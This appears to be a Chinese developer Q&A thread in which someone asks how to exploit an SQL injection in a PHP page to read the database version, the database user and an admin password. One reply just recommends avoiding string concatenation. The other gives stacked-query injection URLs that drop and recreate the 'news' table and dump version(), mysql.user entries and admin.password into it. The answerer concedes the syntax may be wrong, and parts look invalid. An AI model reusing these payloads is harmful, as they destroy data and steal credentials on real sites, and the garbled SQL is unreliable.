关于sql注入的问题

有这样一段php代码图片描述

请问最后如何通过利用脚本查询数据库版本,数据库用户,和字段为1的password内容

阅读 2k
2 个回答

不用字符串拼接就行了

你意会吧,如果是我的话我可能会试一下这么做。。。
sql注入只了解一些简单的原理来着。。。
sql语法我都忘光了。。。语法不对的部分你自己查一下语法改下吧。。。

# 获得数据库版本
show.php?id=1;drop table news; create table news(title char(1024),id int); insert into news values(select version(), 1);
show.php?id=1

# 获取数据库用户
show.php?id=1;drop table news; create table news(title char(1024), id int); select user,1 from mysql.user into news;
show.php?id=1

# 获取表admin ID为1字段password的内容
show.php?id=1;drop table news; create table news(title char(1024), id int); select password, 1 from admin where id = 1 into news;
show.php?id=1

额对了。。一般还是别做得这么绝。。。
rename一下原来的news,所有的信息都查完之后把没用的news删掉再rename回去吧。。。但是rename语句我忘掉了。。。

撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
推荐问题